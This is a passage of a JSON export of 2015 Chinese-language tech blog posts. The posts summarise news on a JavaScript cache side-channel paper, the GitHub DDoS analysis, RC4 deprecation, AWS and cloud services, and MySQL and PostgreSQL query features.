    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的 <a href=\"https://www.google.com/chrome\">Google Chrome</a> Extension 專案，針對轉載自 <a href=\"https://www.ptt.cc/\">Ptt</a> 的網站自動轉回 Ptt 原文：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>不喜歡一些網站直接轉載 <a href=\"https://twitter.com/hashtag/ptt?src=hash\">#ptt</a> 並且加上廣告嗎？我寫了一個 chrome extension 讓你點到這些網站的連結時直接轉回 ptt，目前只支援 disp.cc <a href=\"https://t.co/HEZm1lDzyN\">https://t.co/HEZm1lDzyN</a></p>&mdash; Yuren Ju (@yurenju) <a href=\"https://twitter.com/yurenju/status/590715687833890816\">April 22, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n程式在「<a href=\"https://chrome.google.com/webstore/detail/ptt-redirect/kbagehlfghdggaobphopkofopgdmbcpl\">ptt redirect</a>」這邊，而原始程式碼在 <a href=\"https://github.com/\">GitHub</a> 的「<a href=\"https://github.com/yurenju/ptt-redirect\">yurenju/ptt-redirect</a>」這邊。\r\n\r\n目前只支援 disp.cc，應該還有好幾個站可以支援...",
    "title": "Yuren Ju 的 ptt redirect：從轉載網站自動轉回 Ptt 原文"
  },
  {
    "id": "5767",
    "body": "用 JavaScript 就可以攻擊 L3 cache，進而取得資料：「<a href=\"http://www.theregister.co.uk/2015/04/21/cache_creeps_can_spy_on_web_histories_for_80_of_net_users/\">JavaScript CPU cache snooper tells crooks EVERYTHING you do online</a>」。\r\n\r\n論文出自「<a href=\"http://arxiv.org/pdf/1502.07373v2.pdf\">The Spy in the Sandbox – Practical Cache Attacks in Javascript</a>」(PDF) 這篇。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2Hvnr7Q.webp\" /><img src=\"https://i.gslin.com/imgur/2Hvnr7Q.jpg\" alt=\"\" /></picture>\r\n\r\n<img src=\"https://i.gslin.com/imgur/IA7wukI.jpg\" alt=\"\" />\r\n\r\n不需要任何外掛或 exploit，就純粹是利用 cache 反應時間的 side-channel attack。另外由於 <a href=\"http://www.amd.com/\">AMD</a> 的 cache 架構不同，這次的攻擊實作僅對 <a href=\"http://www.intel.com/\">Intel</a> 有效：\r\n\r\n<blockquote>The Intel cache micro-architecture isinclusive– all elements in the L1 cache must also exist in the L2 and L3 caches. Conversely, if a memory element is evicted fromthe L3 cache, it is also immediately evicted from the L2 and L1 cache.  It should be noted that the AMD cachemicro-architecture is exclusive, and thus the attacks described in this report are not immediately applicable tothat platform.</blockquote>\r\n\r\n這次的攻擊方法真變態...",
    "title": "在瀏覽器上面用 JavaScript 進行 Side-channel attack"
  },
  {
    "id": "5768",
    "body": "在「<a href=\"http://science.slashdot.org/story/15/04/13/1824216/the-international-space-station-finally-gets-an-espresso-machine\">The International Space Station (Finally) Gets an Espresso Machine</a>」這篇看到的，原始的報導出自「<a href=\"http://www.networkworld.com/article/2908031/security0/the-international-space-station-finally-gets-an-espresso-machine.html\">The International Space Station (finally!) gets an espresso machine</a>」。\r\n\r\n幾個重點 XDDD\r\n\r\n<blockquote>The ISSpresso requires 120V DC power which is obtained at the Utility Outlet Panel (UOP) on the ISS.</blockquote>\r\n\r\n很特別的電力，是 120V DC 而非 120V AC...",
    "title": "國際太空站要裝咖啡機了..."
  },
  {
    "id": "5770",
    "body": "<a href=\"https://www.ssllabs.com/\">SSL Labs</a> 的「<a href=\"https://www.ssllabs.com/ssltest/\">SSL Server Test</a>」是個經常被拿來檢測 SSL/TLS 相關設定的服務。\r\n\r\n這兩天公佈了對 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 的退役計畫：「<a href=\"https://community.qualys.com/blogs/securitylabs/2015/04/23/ssl-labs-rc4-deprecation-plan\">SSL Labs RC4 Deprecation Plan</a>」。\r\n\r\n分成兩個階段進行。\r\n\r\n第一個階段會在五月啟用，對於因為需要支援舊的 client 而針對 SSLv3/TLSv1 + RC4 組合的，會給予 B 評價。而全面支援 RC4 的 (包括 TLSv1.1+) 則會給予 C 評價。\r\n\r\n到了第二階段 (暫定九月)，全面支援 RC4 的將會給予最低的 F 評價。",
    "title": "SSL Labs 對 RC4 的退役計畫"
  },
  {
    "id": "5772",
    "body": "<a href=\"http://googleonlinesecurity.blogspot.com/\">Google Online Security</a> 分析了前陣子 <a href=\"https://github.com/\">GitHub</a> 被 DDoS 攻擊的行為：「<a href=\"http://googleonlinesecurity.blogspot.com/2015/04/a-javascript-based-ddos-attack-as-seen.html\">A Javascript-based DDoS Attack as seen by Safe Browsing</a>」。\r\n\r\n透過 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://www.google.com/transparencyreport/safebrowsing/\">Safe Browsing</a>，針對 <code>baidu.com</code> 這個網域的 injection 情況分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zHWS1jk.webp\" /><img src=\"https://i.gslin.com/imgur/zHWS1jk.jpg\" alt=\"\" /></picture>\r\n\r\n可以看得出來分成多個不同階段攻擊。其中 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 承受了不小的壓力，不過畢竟是商用水準的 CDN，沒那麼容易垮掉。後來則是攻擊 GitHub 造成影響而上了新聞。\r\n\r\n最終還是繼續推廣 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a>，可以避免中間被 injection 攻擊：\r\n\r\n<blockquote>Had the entire web already moved to encrypted traffic via TLS, such an injection attack would not have been possible.</blockquote>",
    "title": "Google 對 GitHub 先前遭受 GFW 的 DDoS 攻擊的分析"
  },
  {
    "id": "5773",
    "body": "在「<a href=\"http://www.bloomberg.com/news/articles/2015-04-23/amazon-finally-discloses-cloud-services-sales-showing-49-jump\">Amazon Finally Discloses Cloud Services Sales, Showing 49% Jump</a>」這篇提到 <a href=\"http://www.amazon.com/\">Amazon</a> 首次在財報上公開 <a href=\"https://aws.amazon.com/\">AWS</a> 的營收資訊：\r\n\r\n<blockquote>The first-ever disclosure of results from the Amazon Web Services division showed revenue increased 49 percent from a year earlier. AWS cranked out operating income of $265 million for Amazon, helping offset losses in other businesses. Net losses for the enlarged company came in at $57 million.</blockquote>\r\n\r\nAmazon 的公開資訊可以參考「<a href=\"http://phx.corporate-ir.net/phoenix.zhtml?c=97664&amp;p=irol-newsArticle&amp;ID=2039598\">Amazon.com Announces First Quarter Sales up 15% to $22.72 Billion</a>」這篇。可以看得出來到處在燒錢，但 AWS 本身是賺錢的...",
    "title": "Amazon 首次公佈 Amazon Web Services (AWS) 的財報資訊"
  },
  {
    "id": "5775",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2015/04/27/indexing-101-optimizing-mysql-queries-on-a-single-table/\">Indexing 101: Optimizing MySQL queries on a single table</a>」這篇講了最基本的 index 設計技巧，雖然文章裡沒提到，但最好是需要 <a href=\"https://en.wikipedia.org/wiki/B-tree\">B-tree</a> 與 <a href=\"https://en.wikipedia.org/wiki/B%2B_tree\">B+ tree</a> 的背景知識。\r\n\r\n<a href=\"https://dev.mysql.com/\">MySQL</a> 的 query 大致分成幾個階段。先決定要使用哪些 index (或是完全不用)，然後透過 index 抓出符合條件資料 (或是 table scan)，最後再細部過濾。\r\n\r\n以文章裡提到的「Multiple inequalities」範例裡這樣的 SQL query 來討論：\r\n\r\n<pre>SELECT * FROM t WHERE c &gt; 100 and b &lt; 10 and d = 'xyz'</pre>\r\n\r\n如果 index 是 <code>(d, c)</code>，需要在透過這組 index 抓出資料後再過濾 <code>b &lt; 10</code> 的條件。而如果 index 是 <code>(d, b)</code>，需要在取出資料後再過濾 <code>c &gt; 100</code> 的條件。也就是 B+ tree 做不到的事情，就要另外 post-processing。\r\n\r\n另外也有提到 covering index 對效能提昇的原理，不過這就有點屬於怪招了...",
    "title": "MySQL 的 Index 設計技巧"
  },
  {
    "id": "5776",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到不需額外吃電的數位相機：「<a href=\"http://hardware.slashdot.org/story/15/04/15/1529231/researchers-design-a-self-powered-digital-camera\">Researchers Design a Self-Powered Digital Camera</a>」，原始的報導出自「<a href=\"http://motherboard.vice.com/read/this-digital-camera-doesnt-need-a-battery-because-it-powers-itself\">This Digital Camera Doesn't Need a Battery Because It Powers Itself</a>」這篇，另外有 PDF 論文可以看：「<a href=\"http://www1.cs.columbia.edu/CAVE/publications/pdfs/Nayar_ICCP15.pdf\">Towards Self-Powered Cameras</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/T1lzMMD.webp\" /><img src=\"https://i.gslin.com/imgur/T1lzMMD.jpg\" alt=\"\" /></picture>\r\n\r\n<iframe width=\"640\" height=\"480\" src=\"https://www.youtube.com/embed/Ajhw_Ag4Lqo\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n目前是原型機，只有 30x40 的解析度 (看影片應該是有一定程度的灰階能力？)。依照文章所說的，如果技術再成熟一點就會對 IoT 影響蠻大的？",
    "title": "不需額外吃電的數位相機"
  },
  {
    "id": "5777",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 宣佈新加坡機房開放：「<a href=\"https://blog.linode.com/2015/04/27/hello-singapore/\">Singapore Linodes are now available!</a>」。\r\n\r\n國內過去大約都在 60ms 上下，不過 <a href=\"http://www.hinet.net/\">HiNet</a> 過去的 routing 還有些狀況，算是東京賣光的備案吧？",
    "title": "Linode 成立新加坡機房..."
  },
  {
    "id": "5778",
    "body": "因為稽核過期失效，<a href=\"https://www.mozilla.org/\">Mozilla</a> 決定移除 e-Guven 的 Root CA：「<a href=\"https://blog.mozilla.org/security/2015/04/27/removing-e-guven-ca-certificate/\">Removing e-Guven CA Certificate</a>」，對應的 Bugzilla 連結出自「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1145270\">Remove E-Guven root certificate from NSS</a>」：\r\n\r\n<blockquote>Issuer Field:\r\nCN = e-Guven Kok Elektronik Sertifika Hizmet Saglayicisi\r\nO = Elektronik Bilgi Guvenligi A.S.\r\nC = TR\r\n\r\nSHA-1 Fingerprint: DD:E1:D2:A9:01:80:2E:1D:87:5E:84:B3:80:7E:4B:B1:FD:99:41:34</blockquote>\r\n\r\n<a href=\"https://www.google.com/chrome\">Google Chrome</a> 裡面也有引入這個 root CA，過幾天應該會被提出來處理：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BTZXtEB.webp\" /><img src=\"https://i.gslin.com/imgur/BTZXtEB.jpg\" alt=\"\" /></picture>",
    "title": "Mozilla 移除 e-Guven CA Certificate"
  },
  {
    "id": "5780",
    "body": "<a href=\"https://blog.mozilla.org/security/\">Mozilla Security Blog</a> 上 Richard Barnes (Firefox Security Lead) 宣佈對非 HTTPS 站台的抵制政策。規劃在之後的 <a href=\"https://www.mozilla.org/firefox\">Firefox</a> 新功能限定在 HTTPS 網站上：「<a href=\"https://blog.mozilla.org/security/2015/04/30/deprecating-non-secure-http/\">Deprecating Non-Secure HTTP</a>」。\r\n\r\n詳細的日期還沒有確定，但預定分成兩個階段：\r\n\r\n<ol>\r\n\t<li>Setting a date after which all new features will be available only to secure websites</li>\r\n\t<li>Gradually phasing out access to browser features for non-secure websites, especially features that pose risks to users’ security and privacy.</li>\r\n</ol>\r\n\r\n在「<a href=\"https://blog.mozilla.org/security/files/2015/05/HTTPS-FAQ.pdf\">Deprecating Non-Secure HTTP</a> (PDF)」這邊有 FAQ 可以參考。",
    "title": "Mozilla 對非 HTTPS 站台的抵制"
  },
  {
    "id": "5781",
    "body": "<a href=\"http://www.netcraft.com/\">Netcraft</a> 的統計說 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 變成全世界第二大 hosting：「<a href=\"http://news.netcraft.com/archives/2015/05/01/digitalocean-becomes-the-second-largest-hosting-company-in-the-world.html\">DigitalOcean becomes the second largest hosting company in the world</a>」。以 web-facing 為統計方式。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AfHBkoW.webp\" /><img src=\"https://i.gslin.com/imgur/AfHBkoW.jpg\" alt=\"\" /></picture>\r\n\r\n第一大還是 <a href=\"https://aws.amazon.com/\">Amazon Web Services</a>，這點到是沒什麼意外...",
    "title": "DigitalOcean 變成第二大 Hosting..."
  },
  {
    "id": "5782",
    "body": "看到「<a href=\"http://millc.org/\">Go-style concurrency in C</a>」這個專案，在 C 上實作 Go-style 的 concurrency，包括了 channel 的設計。原始程式碼可以在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/sustrik/mill\">sustrik/mill</a>」看到。\r\n\r\n在「<a href=\"https://github.com/sustrik/mill/blob/master/mill.c\">mill.c</a>」可以看到實作細節，另外也可以看到 <code>yield()</code> 的設計。\r\n\r\n不過目前還很早期，請小心服用：\r\n\r\n<blockquote>This is a proof of concept project that seems to work with x86-64, gcc and Linux. I have no idea about different environments. Also, the project is in very early stage of development and not suitable for actual usage.</blockquote>",
    "title": "MILL：在 C 裡面實作 Go-style 的 concurrency"
  },
  {
    "id": "5783",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 發佈了自己版本的 <a href=\"https://golang.org/\">Go</a>，修改了其中的 crypto subsystem：「<a href=\"https://blog.cloudflare.com/go-crypto-bridging-the-performance-gap/\">Go crypto: bridging the performance gap</a>」。\r\n\r\n文章花了不少篇幅介紹 <a href=\"https://en.wikipedia.org/wiki/Authenticated_encryption\">AEAD</a> (Authenticated Encryption with Associated Data)，而目前 CloudFlare 支援的是 AES-GCM 與 ChaCha20-Poly1305，也是兩大主流，分別佔了 60% 與 10% 的 HTTPS 流量：\r\n\r\n<blockquote>As such today more than 60% of our client facing traffic is encrypted with AES-GCM, and about 10% is encrypted with ChaCha20-Poly1305.</blockquote>\r\n\r\nCloudFlare 提供的改進使得速度快很多，並且有考慮到 side-channel attack 的問題：\r\n\r\n<blockquote>Both implementations are constant-time and side-channel protected.</blockquote>\r\n\r\n<pre><small>                         CloudFlare          Go 1.4.2        Speedup\r\nAES-128-GCM           2,138.4 MB/sec          91.4 MB/sec     23.4X\r\n\r\nP256 operations:\r\nBase Multiply           26,249 ns/op        737,363 ns/op     28.1X\r\nMultiply/ECDH comp     110,003 ns/op      1,995,365 ns/op     18.1X\r\nGenerate Key/ECDH gen   31,824 ns/op        753,174 ns/op     23.7X\r\nECDSA Sign              48,741 ns/op      1,015,006 ns/op     20.8X\r\nECDSA Verify           146,991 ns/op      3,086,282 ns/op     21.0X\r\n\r\nRSA2048:\r\nSign                 3,733,747 ns/op      7,979,705 ns/op      2.1X\r\nSign 3-prime         1,973,009 ns/op      5,035,561 ns/op      2.6X</small></pre>\r\n\r\nAES-GCM 與 EC 的改善主要是利用 CPU 指令集加速：\r\n\r\n<blockquote>[T]herefore we created assembly implementations of Elliptic Curves and AES-GCM for Go on the amd64 architecture, supporting the AES and CLMUL NI to bring performance up to par with the OpenSSL implementation we use for Universal SSL.</blockquote>\r\n\r\n不過 RSA 的部份雖然幅度也不小 (比起 AES 與 EC 的部份是不大，不過純就數字來看，快了一倍多也不少)，不過沒提到怎麼改善，只稍微帶過：\r\n\r\n<blockquote>In addition the fork includes small improvements to Go's RSA implementation.</blockquote>",
    "title": "CloudFlare 對 Go 上面加解密系統的改善"
  },
  {
    "id": "5785",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNews</a> 上看到「<a href=\"http://www.osnews.com/story/28543/Racking_Mac_Pros\">Racking Mac Pros</a>」這個報導，<a href=\"http://www.imgix.com/\">imgix</a> 的人把 <a href=\"http://www.apple.com/mac-pro/\">Mac Pro</a> 給裝到機櫃裡：\r\n\r\n<img src=\"https://i.gslin.com/imgur/W8X0l7J.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/mzkBUr4.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/3A1uKVS.jpg\" alt=\"\" />\r\n\r\n看起來設計成 4U 可以放四台，這樣頗不賴的耶...",
    "title": "Mac Pro 的機櫃化..."
  },
  {
    "id": "5786",
    "body": "<a href=\"https://developer.mozilla.org/\">Mozilla Developer Network</a> (MDN) 寫了一篇關於 JavaScript 的介紹文章，算是以現在的角度來教 JavaScript：「<a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript\">A re-introduction to JavaScript (JS tutorial)</a>」。\r\n\r\n不是給完全不懂的人入門看的，而是對程式語言有了解的人看的。\r\n\r\n文章裡面不單純只是教學，還引用了許多重要的文獻，尤其是 <a href=\"http://www.ecma-international.org/publications/standards/Ecma-262.htm\">ECMAScript</a> 規格書。有想要考據確認規格書怎麼定義會很方便。\r\n\r\n而最後面還提到了 browser 上 DOM 實作時的 memory leak 問題以及解法，這對於現在 single page application 的應用也愈來愈重要了。",
    "title": "Mozilla Developer Network (MDN) 上的 JavaScript 教學"
  },
  {
    "id": "5789",
    "body": "在今天之前，<a href=\"https://aws.amazon.com/vpc/\">Amazon VPC</a> 裡 Private Subnet 的機器需要透過 NAT 才能連到 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的 Endpoint API 上操作：(NAT instance 會放在 Public Subnet 裡)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3MO53eZ.webp\" /><img src=\"https://i.gslin.com/imgur/3MO53eZ.jpg\" alt=\"\" /></picture>\r\n<small>出自「<a href=\"https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html\">NAT Instances</a>」的說明。</small>\r\n\r\n但在這個架構中，如果 NAT instance 不夠大台，甚至是流量需求超過 10Gbps 時就會有效能瓶頸了。而目前沒有比較簡單的方法可以解決。(一種解法是拆多個 subnet 跑，透過多個不同的 NAT instance 連出去，但這樣架構又變複雜了)\r\n\r\n今天則是公佈了讓內部可以直接存取 Amazon S3 的方式：「<a href=\"https://aws.amazon.com/blogs/aws/new-vpc-endpoint-for-amazon-s3/\">New – VPC Endpoint for Amazon S3</a>」。第一波是美國 (扣除美國政府用的區域)、歐洲、亞洲、澳洲。所以是巴西與美國政府兩個區域還沒上：\r\n\r\n<blockquote>Amazon VPC Endpoints for Amazon S3 are available now in the US East (Northern Virginia) (for access to the US Standard region), US West (Oregon), US West (Northern California), Europe (Ireland), Europe (Frankfurt), Asia Pacific (Tokyo), Asia Pacific (Singapore), and Asia Pacific (Sydney) regions.</blockquote>\r\n\r\n這樣是解了不少問題，不過如果可以直接解決 NAT infrastructure 的問題應該會更痛快？",
    "title": "Amazon VPC 的 Private Subnet 不需要透過 NAT 去 Amazon S3 抓資料了"
  },
  {
    "id": "5790",
    "body": "文章的標題「<a href=\"https://docs.google.com/document/d/1iNSQIyNpVGHeak6isbP6AHdHD50gs8MNXF1GCf08efg/pub\">Scroll Back: The Theory and Practice of Cameras in Side-Scrollers</a>」，裡面圖又大又多，20Mbps 的光世代全速下載要跑滿一分鐘才能抓完。\r\n\r\n<video src=\"https://i.gslin.com/imgur/MXSzMSV.mp4\" autoplay loop></video>\r\n<small>順便測一下 <a href=\"https://imgur.com/\">Imgur</a> 的 mp4，以及 HTML5 的 <code>video</code> tag。</small>\r\n\r\n裡面考了不少古啊，把捲頁的方式分成許多類別...",
    "title": "遊戲捲頁的理論與實作"
  },
  {
    "id": "5791",
    "body": "在「<a href=\"http://www.craigkerstiens.com/2015/05/08/upsert-lands-in-postgres-9.5/\">Upsert Lands in PostgreSQL 9.5 – a First Look</a>」這邊提到了 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 9.5 支援的 <a href=\"https://wiki.postgresql.org/wiki/UPSERT\">UPSERT</a> 操作。\r\n\r\n<a href=\"https://en.wiktionary.org/wiki/upsert\">UPSERT</a> 的定義是：\r\n\r\n<blockquote>(computing, database) An operation that inserts rows into a database table if they do not already exist, or updates them if they do.</blockquote>\r\n\r\n如果不存在就 INSERT，如果存在就 UPDATE，然後取一部分的字變成 UPSERT。由於要偵測「存在」，只能用在有 primary key 或是有 unique 條件時的表格上。\r\n\r\n作者給的範例講解了 PostgreSQL 9.5 上的語法：\r\n\r\n<pre>INSERT INTO products (\r\n    upc,\r\n    title,\r\n    description,\r\n    link)\r\nVALUES (\r\n    123456789,\r\n    ‘Figment #1 of 5’,\r\n    ‘THE NEXT DISNEY ADVENTURE IS HERE - STARRING ONE OF DISNEY'S MOST POPULAR CHARACTERS! ’,\r\n    ‘http://www.amazon.com/dp/B00KGJVRNE?tag=mypred-20'\r\n    )\r\nON CONFLICT DO UPDATE SET description=excluded.description;</pre>\r\n\r\n這邊用的是 <code>ON CONLIFCT DO UPDATE SET</code>，在 <a href=\"https://dev.mysql.com/\">MySQL</a> 則是用 <code>ON DUPLICATE UPDATE</code>。",
    "title": "PostgreSQL 9.5 的 UPSERT"
  },
  {
    "id": "5793",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到的「<a href=\"http://www.thatguyfromdelhi.com/2015/05/postgres-finally-has-cube-rollup.html\">Postgres finally has CUBE / ROLLUP / GROUPING SETS !</a>」。\r\n\r\n直接看 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的文件「<a href=\"http://www.postgresql.org/docs/devel/static/queries-table-expressions.html#QUERIES-GROUPING-SETS\">7.2.4. GROUPING SETS, CUBE, and ROLLUP</a>」就可以知道用法：\r\n\r\n<pre>=&gt; SELECT * FROM items_sold;\r\n brand | size | sales\r\n-------+------+-------\r\n Foo   | L    |  10\r\n Foo   | M    |  20\r\n Bar   | M    |  15\r\n Bar   | L    |  5\r\n(4 rows)\r\n\r\n=&gt; SELECT brand, size, sum(sales) FROM items_sold GROUP BY GROUPING SETS ((brand), (size), ());\r\n brand | size | sum\r\n-------+------+-----\r\n Foo   |      |  30\r\n Bar   |      |  20\r\n       | L    |  15\r\n       | M    |  35\r\n       |      |  50\r\n(5 rows)</pre>\r\n\r\n結果就是分次 GROUP BY 的聯集。而 <code>CUBE</code> 與 <code>ROLLUP</code> 則是提供列舉的方式。\r\n\r\n<code>ROLLUP</code> 的部份：\r\n\r\n<pre>ROLLUP ( e1, e2, e3, ... )</pre>\r\n\r\n表示階層式的列舉：\r\n\r\n<pre>GROUPING SETS (\r\n    ( e1, e2, e3, ... ),\r\n    ...\r\n    ( e1, e2 )\r\n    ( e1 )\r\n    ( )\r\n)</pre>\r\n\r\n而 <code>CUBE</code>：\r\n\r\n<pre>CUBE ( a, b, c )</pre>\r\n\r\n則是表示 power set (所有的組合)：\r\n\r\n<pre>GROUPING SETS (\r\n    ( a, b, c ),\r\n    ( a, b    ),\r\n    ( a,    c ),\r\n    ( a       ),\r\n    (    b, c ),\r\n    (    b    ),\r\n    (       c ),\r\n    (         ),\r\n)</pre>\r\n\r\n也有更複雜的 <code>CUBE ( (a,b), (c,d) )</code> 與 <code>GROUP BY a, CUBE(b,c), GROUPING SETS ((d), (e))</code> 可以用，參考文件裡的範例即可 :p",
    "title": "PostgreSQL 9.5 的 GROUPING SETS 以及 CUBE 與 ROLLUP"
  },
  {
    "id": "5795",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 推出了類似於 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 Spot Instance 的產品，叫做 Preemptible VM：「<a href=\"http://googlecloudplatform.blogspot.com/2015/05/Introducing-Preemptible-VMs-a-new-class-of-compute-available-at-70-off-standard-pricing.html\">Introducing Preemptible VMs, a new class of compute available at 70% off standard pricing</a>」。\r\n\r\n不同的是，沒有引入競價系統，而是固定的 discount。另外有一些限制，像是最多持續 24 小時：\r\n\r\n<blockquote>The tradeoff is that Preemptible VMs are limited to a 24 hour runtime, and will sometimes be preempted (shut down) earlier than that.</blockquote>\r\n\r\n而停機通知時間比 Spot Instance 短，只有 30 秒 (相較於 Spot Instance 有兩分鐘)：\r\n\r\n<blockquote>When Preemptible VMs are terminated, they'll receive a 30 second notice allowing you to shutdown cleanly (including saving work, if applicable).</blockquote>",
    "title": "Google Cloud Platform 也推出了類似 Spot Instance 的產品"
  },
  {
    "id": "5796",
    "body": "2015/06/30 到 2015/07/01 會有 <a href=\"https://en.wikipedia.org/wiki/Leap_second\">Leap Second</a> (<a href=\"https://zh.wikipedia.org/wiki/%E9%97%B0%E7%A7%92\">閏秒</a>)，而這次 <a href=\"https://aws.amazon.com/\">AWS</a> 處理的方法也公告出來了：「<a href=\"https://aws.amazon.com/blogs/aws/look-before-you-leap-the-coming-leap-second-and-aws/\">Look Before You Leap – The Coming Leap Second and AWS</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 由於每個 instance 有自己的 clock，所以需要自己實作：如果對閏秒不會有問題的系統就放著，而對閏秒敏感的系統可以自己跑 <a href=\"https://en.wikipedia.org/wiki/Ntpd\">ntpd</a> 之類的程式校正。\r\n\r\n而其他 AWS 的系統會用 24 個小時攤平多出來的閏秒，從 2015/06/30 的中午 12:00:00 開始，到 2015/07/01 的中午 12:00:00 結束 (都是 <a href=\"https://en.wikipedia.org/wiki/Coordinated_Universal_Time\">UTC</a>)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cX0LM9S.webp\" /><img src=\"https://i.gslin.com/imgur/cX0LM9S.jpg\" alt=\"\" /></picture>\r\n\r\n也就是說不會出現 23:59:60 這種時間，而在這 24 小時調整區間內的誤差最多 0.5 秒。",
    "title": "AWS 處理這次的 Leap Second..."
  },
  {
    "id": "5797",
    "body": "在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/05/amazon-cloudfront-makes-it-easier-to-invalidate-multiple-objects/\">Amazon CloudFront Makes it Easier to Invalidate Multiple Objects</a>」這邊看到的消息，<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 總算是支援 Wildcard Invalidation 了。價錢與 Single Object Invalidation 相同，都是每次 USD$0.005。\r\n\r\n依照 <a href=\"https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Invalidation.html\">Invalidating Objects (Web Distributions Only)</a> 這邊的說明，Wildcard 的部份只能用在結尾：\r\n\r\n<blockquote>To invalidate objects, you can specify either the path for individual objects or a path that ends with the * wildcard, which might apply to one object or to many, as shown in the following examples:\r\n\r\n<ul>\r\n\t<li><code>/images/image1.jpg</code></li>\r\n\t<li><code>/images/image*</code></li>\r\n\t<li><code>/images/*</code></li>\r\n</ul></blockquote>\r\n\r\n不過還是有些限制，包括了 Single Object Invalidation 的同時最多 3000 條的限制：\r\n\r\n<blockquote>If you're invalidating objects individually, you can have invalidation requests for up to 3,000 objects per distribution in progress at one time. This can be one invalidation request for up to 3,000 objects, up to 3,000 requests for one object each, or any other combination that doesn't exceed 3,000 objects. For example, you can submit 30 invalidation requests that invalidate 100 objects each. As long as all 30 invalidation requests are still in progress, you can't submit any more invalidation requests. If you exceed the limit, CloudFront returns an error message.</blockquote>\r\n\r\n以及 Wildcard Invalidation 的同時 15 條限制：\r\n\r\n<blockquote>If you're using the * wildcard, you can have requests for up to 15 invalidation paths in progress at one time.</blockquote>\r\n\r\n而且每次 invalidate 可能都要 10～15 分鐘：\r\n\r\n<blockquote>It usually takes 10 to 15 minutes for CloudFront to complete your invalidation request, depending on the number of invalidation paths that you included in the request.</blockquote>\r\n\r\n所以也不是付錢就可以解決所有事情... :o",
    "title": "CloudFront 支援 Wildcard Invalidation"
  },
  {
    "id": "5798",
    "body": "<a href=\"http://jeff-barr.com/\">Jeff Barr</a> 被問到有沒有 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 每種 instance 的發表時間，<del>結果連他手上都沒有完整的資料...</del> 這是他目前整理出來的資訊：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-instance-history/\">EC2 Instance History</a>」。\r\n\r\n<strong>Update</strong>：畢竟還是 AWS 的高層，應該是從內部抓出資料後再去找什麼時候公佈的，目前的表格補齊了。\r\n\r\n其中 m1.small 在的 2006 年八月是歷史性的一刻，Amazon EC2 的發表，雲端服務的里程碑：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-instance-history/\">Amazon EC2 Beta</a>」。",
    "title": "EC2 Instance 的發展紀錄"
  },
  {
    "id": "5800",
    "body": "官方的公告在這邊：「<a href=\"http://blog.csdn.net/awschina/article/details/46125963\">更新：AWS中国北京区域推出第二个EC2可用区</a>」。\r\n\r\n我以為每個地區都是直接開兩個以上的 AZ？(就之前其他地區看到的經驗) 沒想到北京現在才開第二個 AZ...\r\n\r\n目前還是在 Limited Preview，要申請的人要自己找管道去要...",
    "title": "AWS 北京開了第二個 AZ"
  },
  {
    "id": "5802",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNews</a> 上看到 Mac OS X 10.10.4 的 beta 版把 discoveryd 幹掉了：「<a href=\"http://www.osnews.com/story/28586/Apple_drops_discoveryd_in_latest_OS_X_beta\">Apple drops discoveryd in latest OS X beta</a>」。報導引用自「<a href=\"http://9to5mac.com/2015/05/26/apple-drops-discoveryd-in-latest-os-x-beta-following-months-of-complaints-about-network-issues-with-yosemite/\">Apple drops discoveryd in latest OS X beta following months of network issues</a>」。\r\n\r\n移除 discoveryd 幾乎是拿到 Mac OS X 後必須要做的事情，不然無線網路會一直斷線... 從今年年初到現在，總算是暫時解決了這個問題 :o\r\n\r\n接下來等正式 release...",
    "title": "Mac OS X 10.10.4 beta 把會讓網路一直斷的 discoveryd 幹掉了..."
  },
  {
    "id": "5803",
